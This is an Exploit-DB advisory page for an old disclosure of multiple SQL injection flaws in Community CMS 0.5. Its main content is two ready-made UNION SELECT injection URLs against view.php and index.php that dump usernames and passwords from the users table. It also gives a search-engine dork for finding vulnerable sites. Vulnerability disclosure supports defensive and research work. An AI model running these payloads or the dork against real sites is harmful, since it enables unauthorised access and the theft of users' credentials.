Multiple SQL Injection

vendor:

Community CMS

by:

Salvatore "drosophila" Fresta

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Community CMS

Affected Version From: 0.5

Affected Version To: 0.5

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

This bug allows a guest to view username and password of a registered user.

Mitigation:

No fix.

Source

Exploit-DB raw data:

*******   Salvatore "drosophila" Fresta   *******

[+] Application: Community CMS
[+] Version: 0.5
[+] Website: http://sourceforge.net/projects/communitycms/

[+] Bugs: [A] Multiple SQL Injection

[+] Exploitation: Remote
[+] Dork: intext:"Powered by Community CMS"
[+] Date: 30 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] SQL Injection

[-] File affected: view.php, calendar.php

This bug allows a guest to view username and password of a registered user.


*************************************************

[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/view.php?article_id=-1 UNION ALL SELECT 1,2,username,password,5,6,7,8,9 FROM comcms_users

http://www.site.com/path/index.php?id=2&view=event&a=-1 UNION ALL SELECT 1,2,3,4,5,6,7,CONCAT(username, 0x3a, password),NULL,NULL,NULL,12,13,NULL FROM comcms_users%23


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-03-31]